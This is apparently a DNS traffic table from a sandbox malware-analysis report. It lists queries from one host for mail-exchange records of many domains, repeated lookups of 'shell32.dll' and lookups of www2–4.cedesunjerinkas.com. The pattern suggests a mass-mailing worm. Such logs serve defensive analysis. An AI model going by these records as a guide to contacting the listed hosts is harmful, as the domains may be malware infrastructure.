Jan 7, 2022 15:44:07.822171926 CET	192.168.2.6	8.8.8.8	0xd7ff	Standard query (0)	cryptsoft.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.194189072 CET	192.168.2.6	8.8.8.8	0xacf	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.194961071 CET	192.168.2.6	8.8.8.8	0x30f7	Standard query (0)	cryptsoft.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.222484112 CET	192.168.2.6	8.8.8.8	0xe052	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.255372047 CET	192.168.2.6	8.8.8.8	0x468d	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.297233105 CET	192.168.2.6	8.8.8.8	0x9ae3	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.322983980 CET	192.168.2.6	8.8.8.8	0xe626	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.324915886 CET	192.168.2.6	8.8.8.8	0x2a8b	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.347014904 CET	192.168.2.6	8.8.8.8	0xa8fd	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.867189884 CET	192.168.2.6	8.8.8.8	0x2178	Standard query (0)	pobox.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.892517090 CET	192.168.2.6	8.8.8.8	0x7cce	Standard query (0)	northcoast.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:08.975389004 CET	192.168.2.6	8.8.8.8	0x274	Standard query (0)	pb-mx9.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.995768070 CET	192.168.2.6	8.8.8.8	0x2b98	Standard query (0)	pb-mx22.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:08.998284101 CET	192.168.2.6	8.8.8.8	0xe5c8	Standard query (0)	mxb-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.023658037 CET	192.168.2.6	8.8.8.8	0x6f7b	Standard query (0)	pb-mx14.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.056421995 CET	192.168.2.6	8.8.8.8	0x7397	Standard query (0)	pb-mx11.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.083359003 CET	192.168.2.6	8.8.8.8	0x5051	Standard query (0)	pb-mx20.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.111948967 CET	192.168.2.6	8.8.8.8	0x1a02	Standard query (0)	pb-mx23.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.125118017 CET	192.168.2.6	8.8.8.8	0x444b	Standard query (0)	mxb-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.135006905 CET	192.168.2.6	8.8.8.8	0x1c28	Standard query (0)	pb-mx10.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.151281118 CET	192.168.2.6	8.8.8.8	0xa708	Standard query (0)	mxa-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.159619093 CET	192.168.2.6	8.8.8.8	0xe3f0	Standard query (0)	pb-mx21.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:09.175601959 CET	192.168.2.6	8.8.8.8	0x1275	Standard query (0)	mxa-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:11.859736919 CET	192.168.2.6	8.8.8.8	0x5a2e	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:12.111460924 CET	192.168.2.6	8.8.8.8	0xee20	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:15.978508949 CET	192.168.2.6	8.8.8.8	0xdc16	Standard query (0)	netcom.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:15.999018908 CET	192.168.2.6	8.8.8.8	0xa4f2	Standard query (0)	mx01.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.019241095 CET	192.168.2.6	8.8.8.8	0x48b0	Standard query (0)	mx02.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.044672966 CET	192.168.2.6	8.8.8.8	0x9224	Standard query (0)	mx03.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:16.066117048 CET	192.168.2.6	8.8.8.8	0x6a95	Standard query (0)	mx04.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:17.345972061 CET	192.168.2.6	8.8.8.8	0x946b	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.439335108 CET	192.168.2.6	8.8.8.8	0x6fd6	Standard query (0)	northcoast.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:18.548199892 CET	192.168.2.6	8.8.8.8	0x36cf	Standard query (0)	mxb-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.705948114 CET	192.168.2.6	8.8.8.8	0xea71	Standard query (0)	mxb-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.861819029 CET	192.168.2.6	8.8.8.8	0x76d9	Standard query (0)	mxa-00377f01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:18.984652042 CET	192.168.2.6	8.8.8.8	0xfc3a	Standard query (0)	mxa-00377f03.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:20.659990072 CET	192.168.2.6	8.8.8.8	0x6108	Standard query (0)	cl.cam.ac.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:20.682569981 CET	192.168.2.6	8.8.8.8	0x1770	Standard query (0)	mx.cam.ac.uk	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:21.257803917 CET	192.168.2.6	8.8.8.8	0xbfdd	Standard query (0)	src.dec.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:22.203768969 CET	192.168.2.6	8.8.8.8	0x7470	Standard query (0)	theriver.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:22.326442957 CET	192.168.2.6	8.8.8.8	0x2a32	Standard query (0)	ismtp.sitestar.everyone.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:24.341639996 CET	192.168.2.6	8.8.8.8	0x3f6e	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:24.690790892 CET	192.168.2.6	8.8.8.8	0x163a	Standard query (0)	bryson.demon.co.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.261980057 CET	192.168.2.6	8.8.8.8	0xaaf3	Standard query (0)	cl.cam.ac.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.264070988 CET	192.168.2.6	8.8.8.8	0x46ae	Standard query (0)	src.dec.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.266565084 CET	192.168.2.6	8.8.8.8	0xd633	Standard query (0)	theriver.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.268645048 CET	192.168.2.6	8.8.8.8	0x9e52	Standard query (0)	bryson.demon.co.uk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.269757986 CET	192.168.2.6	8.8.8.8	0xc43f	Standard query (0)	onlineconnections.com.au	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.270565033 CET	192.168.2.6	8.8.8.8	0xcbde	Standard query (0)	openoffice.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.271450996 CET	192.168.2.6	8.8.8.8	0x1f78	Standard query (0)	lists.sourceforge.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.272387028 CET	192.168.2.6	8.8.8.8	0xae4c	Standard query (0)	w3.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.286072969 CET	192.168.2.6	8.8.8.8	0x25a	Standard query (0)	mx.cam.ac.uk	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.288049936 CET	192.168.2.6	8.8.8.8	0x4c24	Standard query (0)	ismtp.sitestar.everyone.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.294281006 CET	192.168.2.6	8.8.8.8	0x22ae	Standard query (0)	jk.uni-linz.ac.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.299139023 CET	192.168.2.6	8.8.8.8	0x3e8	Standard query (0)	mx.sourceforge.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.305228949 CET	192.168.2.6	8.8.8.8	0xf4ef	Standard query (0)	bart.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.311016083 CET	192.168.2.6	8.8.8.8	0x6c5a	Standard query (0)	mx2-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.326626062 CET	192.168.2.6	8.8.8.8	0xc120	Standard query (0)	cdata.tvnet.hu	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.329658985 CET	192.168.2.6	8.8.8.8	0xd0ee	Standard query (0)	titan.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.334273100 CET	192.168.2.6	8.8.8.8	0xd2a5	Standard query (0)	mx1-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.336724043 CET	192.168.2.6	8.8.8.8	0x2023	Standard query (0)	mail1.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.354088068 CET	192.168.2.6	8.8.8.8	0x276e	Standard query (0)	mimas.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.361201048 CET	192.168.2.6	8.8.8.8	0x1311	Standard query (0)	mx1-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.374619007 CET	192.168.2.6	8.8.8.8	0x696	Standard query (0)	cdata.tvnet.hu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.377171993 CET	192.168.2.6	8.8.8.8	0xb194	Standard query (0)	mail3.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.388376951 CET	192.168.2.6	8.8.8.8	0xf979	Standard query (0)	mx2-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.406291962 CET	192.168.2.6	8.8.8.8	0xcb2c	Standard query (0)	mail4.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.418484926 CET	192.168.2.6	8.8.8.8	0xd4f1	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.419089079 CET	192.168.2.6	8.8.8.8	0xc3f0	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.422946930 CET	192.168.2.6	8.8.8.8	0x5c5	Standard query (0)	onlineconnections.com.au	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.450833082 CET	192.168.2.6	8.8.8.8	0x5b31	Standard query (0)	mail2.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.451478958 CET	192.168.2.6	8.8.8.8	0xafc3	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.484186888 CET	192.168.2.6	8.8.8.8	0x8b07	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.511220932 CET	192.168.2.6	8.8.8.8	0xce4c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.542973995 CET	192.168.2.6	8.8.8.8	0x8f28	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:25.545975924 CET	192.168.2.6	8.8.8.8	0xc056	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.573992968 CET	192.168.2.6	8.8.8.8	0x22a5	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.607697010 CET	192.168.2.6	8.8.8.8	0xaf53	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.647171021 CET	192.168.2.6	8.8.8.8	0xaec5	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.699045897 CET	192.168.2.6	8.8.8.8	0x5f29	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.730602026 CET	192.168.2.6	8.8.8.8	0x8c99	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:25.763545036 CET	192.168.2.6	8.8.8.8	0x248a	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.704727888 CET	192.168.2.6	8.8.8.8	0x67f8	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.731203079 CET	192.168.2.6	8.8.8.8	0xd94b	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.777981997 CET	192.168.2.6	8.8.8.8	0x8149	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.809540987 CET	192.168.2.6	8.8.8.8	0x2fe9	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.847938061 CET	192.168.2.6	8.8.8.8	0x8b6a	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.889390945 CET	192.168.2.6	8.8.8.8	0x3000	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.920438051 CET	192.168.2.6	8.8.8.8	0xddb8	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.951421976 CET	192.168.2.6	8.8.8.8	0x1f16	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:26.980849028 CET	192.168.2.6	8.8.8.8	0x4e27	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.012765884 CET	192.168.2.6	8.8.8.8	0x7ad	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.052834988 CET	192.168.2.6	8.8.8.8	0x7c36	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.089421034 CET	192.168.2.6	8.8.8.8	0xb6a5	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.120704889 CET	192.168.2.6	8.8.8.8	0x7a3a	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.152086020 CET	192.168.2.6	8.8.8.8	0x2702	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.183274984 CET	192.168.2.6	8.8.8.8	0x457b	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.214582920 CET	192.168.2.6	8.8.8.8	0x78eb	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.246011972 CET	192.168.2.6	8.8.8.8	0x868f	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.276947021 CET	192.168.2.6	8.8.8.8	0x10f5	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.308496952 CET	192.168.2.6	8.8.8.8	0x5fae	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.339340925 CET	192.168.2.6	8.8.8.8	0xaa7b	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.344716072 CET	192.168.2.6	8.8.8.8	0x18cf	Standard query (0)	onlineconnections.com.au	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.365020990 CET	192.168.2.6	8.8.8.8	0x983d	Standard query (0)	onlineconnections.com.au	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:27.370807886 CET	192.168.2.6	8.8.8.8	0xe87d	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.402369976 CET	192.168.2.6	8.8.8.8	0x96c8	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.435116053 CET	192.168.2.6	8.8.8.8	0x3d6c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.464931011 CET	192.168.2.6	8.8.8.8	0x83f7	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.496018887 CET	192.168.2.6	8.8.8.8	0x9da2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.527563095 CET	192.168.2.6	8.8.8.8	0x55c4	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.560671091 CET	192.168.2.6	8.8.8.8	0x89cd	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:27.584134102 CET	192.168.2.6	8.8.8.8	0xeaac	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:27.589046001 CET	192.168.2.6	8.8.8.8	0x6986	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.192042112 CET	192.168.2.6	8.8.8.8	0x2a71	Standard query (0)	openoffice.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.215164900 CET	192.168.2.6	8.8.8.8	0xc3b2	Standard query (0)	mx2-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.237735987 CET	192.168.2.6	8.8.8.8	0xa20c	Standard query (0)	mx1-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.258436918 CET	192.168.2.6	8.8.8.8	0xc674	Standard query (0)	mx1-lw-us.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.281308889 CET	192.168.2.6	8.8.8.8	0xcc18	Standard query (0)	mx2-lw-eu.apache.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.387473106 CET	192.168.2.6	8.8.8.8	0x2083	Standard query (0)	w3.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:28.409729958 CET	192.168.2.6	8.8.8.8	0xbffd	Standard query (0)	bart.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.430259943 CET	192.168.2.6	8.8.8.8	0x2e39	Standard query (0)	titan.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:28.453098059 CET	192.168.2.6	8.8.8.8	0x3487	Standard query (0)	mimas.w3.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.142440081 CET	192.168.2.6	8.8.8.8	0x8917	Standard query (0)	lists.sourceforge.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.163450956 CET	192.168.2.6	8.8.8.8	0x690c	Standard query (0)	mx.sourceforge.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.330507040 CET	192.168.2.6	8.8.8.8	0x2b87	Standard query (0)	jk.uni-linz.ac.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.371124029 CET	192.168.2.6	8.8.8.8	0x8c3c	Standard query (0)	mail4.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.392079115 CET	192.168.2.6	8.8.8.8	0x9567	Standard query (0)	mail2.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.413642883 CET	192.168.2.6	8.8.8.8	0x321b	Standard query (0)	mail3.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.435383081 CET	192.168.2.6	8.8.8.8	0xf696	Standard query (0)	mail1.edvz.uni-linz.ac.at	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.569633007 CET	192.168.2.6	8.8.8.8	0xeaeb	Standard query (0)	cdata.tvnet.hu	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:29.607250929 CET	192.168.2.6	8.8.8.8	0xc5ef	Standard query (0)	cdata.tvnet.hu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:29.984899044 CET	192.168.2.6	8.8.8.8	0x6c70	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.104551077 CET	192.168.2.6	8.8.8.8	0xeed5	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.398139000 CET	192.168.2.6	8.8.8.8	0x5b71	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.418440104 CET	192.168.2.6	8.8.8.8	0xf11b	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.802923918 CET	192.168.2.6	8.8.8.8	0x27c5	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:30.823518991 CET	192.168.2.6	8.8.8.8	0x553c	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.841943979 CET	192.168.2.6	8.8.8.8	0x439	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:30.862270117 CET	192.168.2.6	8.8.8.8	0x429	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:31.777652025 CET	192.168.2.6	8.8.8.8	0xed87	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:31.965754986 CET	192.168.2.6	8.8.8.8	0xfa1c	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:32.036520004 CET	192.168.2.6	8.8.8.8	0x899d	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:32.373754025 CET	192.168.2.6	8.8.8.8	0x12e7	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.415501118 CET	192.168.2.6	8.8.8.8	0x4605	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.668448925 CET	192.168.2.6	8.8.8.8	0x4622	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:50.861825943 CET	192.168.2.6	8.8.8.8	0x2290	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.043483019 CET	192.168.2.6	8.8.8.8	0x363e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.223757029 CET	192.168.2.6	8.8.8.8	0x7ba8	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.412525892 CET	192.168.2.6	8.8.8.8	0xabac	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.590938091 CET	192.168.2.6	8.8.8.8	0xa246	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:51.781665087 CET	192.168.2.6	8.8.8.8	0xdacd	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.083451986 CET	192.168.2.6	8.8.8.8	0x5bb6	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.108700991 CET	192.168.2.6	8.8.8.8	0xc574	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.141364098 CET	192.168.2.6	8.8.8.8	0x4c7e	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.170589924 CET	192.168.2.6	8.8.8.8	0x4138	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.202621937 CET	192.168.2.6	8.8.8.8	0x9679	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.233525038 CET	192.168.2.6	8.8.8.8	0x7eda	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.265086889 CET	192.168.2.6	8.8.8.8	0xda78	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.296772957 CET	192.168.2.6	8.8.8.8	0xcb89	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.326011896 CET	192.168.2.6	8.8.8.8	0x239	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.358205080 CET	192.168.2.6	8.8.8.8	0xf7ad	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.390626907 CET	192.168.2.6	8.8.8.8	0x3fe2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.423835993 CET	192.168.2.6	8.8.8.8	0x30db	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:53.446779966 CET	192.168.2.6	8.8.8.8	0xc490	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:53.452620029 CET	192.168.2.6	8.8.8.8	0x4346	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:01.523684978 CET	192.168.2.6	8.8.8.8	0x2cac	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:03.139645100 CET	192.168.2.6	8.8.8.8	0xc3b7	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:45:03.734273911 CET	192.168.2.6	8.8.8.8	0x1fa2	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:45:06.596481085 CET	192.168.2.6	8.8.8.8	0x350	Standard query (0)	shell32.dll	MX (Mail exchange)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 7, 2022 15:42:39.877269983 CET	8.8.8.8	192.168.2.6	0xd228	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:39.877269983 CET	8.8.8.8	192.168.2.6	0xd228	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:39.877269983 CET	8.8.8.8	192.168.2.6	0xd228	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:39.990343094 CET	8.8.8.8	192.168.2.6	0x9a5	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
